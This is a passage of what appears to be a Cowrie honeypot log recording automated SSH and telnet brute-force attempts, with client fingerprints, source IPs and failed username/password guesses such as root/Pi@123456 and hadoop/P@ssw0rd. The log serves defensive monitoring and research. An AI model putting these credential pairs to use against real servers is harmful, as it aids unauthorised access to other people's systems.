"rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:36.311321Z","src_ip":"45.153.34.97","session":"8ecebc872636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55246,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec5aa22dc77","protocol":"telnet","message":"New connection: 152.42.224.71:55246 (10.17.0.5:23) [session: 1ec5aa22dc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:36.780755Z"}
{"eventid":"cowrie.login.failed","username":"nominatim","password":"1234","message":"login attempt [nominatim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:36.802256Z","src_ip":"45.153.34.97","session":"8ecebc872636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:38.024628Z","src_ip":"45.153.34.97","session":"8ecebc872636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ae5beb4295","protocol":"ssh","message":"New connection: 43.130.38.88:36490 (159.203.135.109:22) [session: b7ae5beb4295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:39.410201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:39.415330Z","src_ip":"43.130.38.88","session":"b7ae5beb4295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:39.484000Z","src_ip":"43.130.38.88","session":"b7ae5beb4295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pi@123456","message":"login attempt [root/Pi@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:39.789116Z","src_ip":"43.130.38.88","session":"b7ae5beb4295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57186,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc867c6cc66f","protocol":"ssh","message":"New connection: 45.153.34.97:57186 (10.17.0.5:22) [session: dc867c6cc66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:40.479090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:40.483737Z","src_ip":"45.153.34.97","session":"dc867c6cc66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:40.579176Z","src_ip":"45.153.34.97","session":"dc867c6cc66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:40.860818Z","src_ip":"43.130.38.88","session":"b7ae5beb4295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123123","message":"login attempt [deploy/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:40.995016Z","src_ip":"45.153.34.97","session":"dc867c6cc66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:42.079894Z","src_ip":"45.153.34.97","session":"dc867c6cc66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41560,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b3b5a962df5","protocol":"ssh","message":"New connection: 62.133.63.178:41560 (10.17.0.5:22) [session: 3b3b5a962df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:42.284476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:42.289540Z","src_ip":"62.133.63.178","session":"3b3b5a962df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:42.413207Z","src_ip":"62.133.63.178","session":"3b3b5a962df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12345","message":"login attempt [root/zxcvbnm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:42.785432Z","src_ip":"62.133.63.178","session":"3b3b5a962df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:43.911770Z","src_ip":"62.133.63.178","session":"3b3b5a962df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57200,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5bd9378338","protocol":"ssh","message":"New connection: 45.153.34.97:57200 (10.17.0.5:22) [session: 3c5bd9378338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.391782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.400235Z","src_ip":"45.153.34.97","session":"3c5bd9378338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.593738Z","src_ip":"45.153.34.97","session":"3c5bd9378338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":45574,"dst_ip":"10.17.0.5","dst_port":22,"session":"915cbb245272","protocol":"ssh","message":"New connection: 43.135.177.217:45574 (10.17.0.5:22) [session: 915cbb245272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.780396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.785752Z","src_ip":"43.135.177.217","session":"915cbb245272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:44.853905Z","src_ip":"43.135.177.217","session":"915cbb245272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvv123","message":"login attempt [root/vvv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:45.158460Z","src_ip":"43.135.177.217","session":"915cbb245272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:45.669366Z","src_ip":"45.153.34.97","session":"3c5bd9378338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:46.228527Z","src_ip":"43.135.177.217","session":"915cbb245272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:47.367960Z","src_ip":"45.153.34.97","session":"3c5bd9378338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57216,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac961425b4be","protocol":"ssh","message":"New connection: 45.153.34.97:57216 (10.17.0.5:22) [session: ac961425b4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:48.511715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:48.517957Z","src_ip":"45.153.34.97","session":"ac961425b4be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:48.600437Z","src_ip":"45.153.34.97","session":"ac961425b4be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logs","password":"logs","message":"login attempt [logs/logs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:48.880702Z","src_ip":"45.153.34.97","session":"ac961425b4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:49.983530Z","src_ip":"45.153.34.97","session":"ac961425b4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":50492,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf0fa304635d","protocol":"ssh","message":"New connection: 43.153.31.20:50492 (159.203.135.109:22) [session: bf0fa304635d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:51.342781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:51.347133Z","src_ip":"43.153.31.20","session":"bf0fa304635d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:51.415224Z","src_ip":"43.153.31.20","session":"bf0fa304635d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcgis","password":"arcgis","message":"login attempt [arcgis/arcgis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:51.717393Z","src_ip":"43.153.31.20","session":"bf0fa304635d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":15360,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f6326618c3f","protocol":"ssh","message":"New connection: 45.153.34.97:15360 (10.17.0.5:22) [session: 1f6326618c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:52.430937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:52.435493Z","src_ip":"45.153.34.97","session":"1f6326618c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:52.518141Z","src_ip":"45.153.34.97","session":"1f6326618c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:52.787262Z","src_ip":"43.153.31.20","session":"bf0fa304635d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"P@ssw0rd","message":"login attempt [hadoop/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:52.792446Z","src_ip":"45.153.34.97","session":"1f6326618c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:53.884751Z","src_ip":"45.153.34.97","session":"1f6326618c3f","protocol":"ssh"}
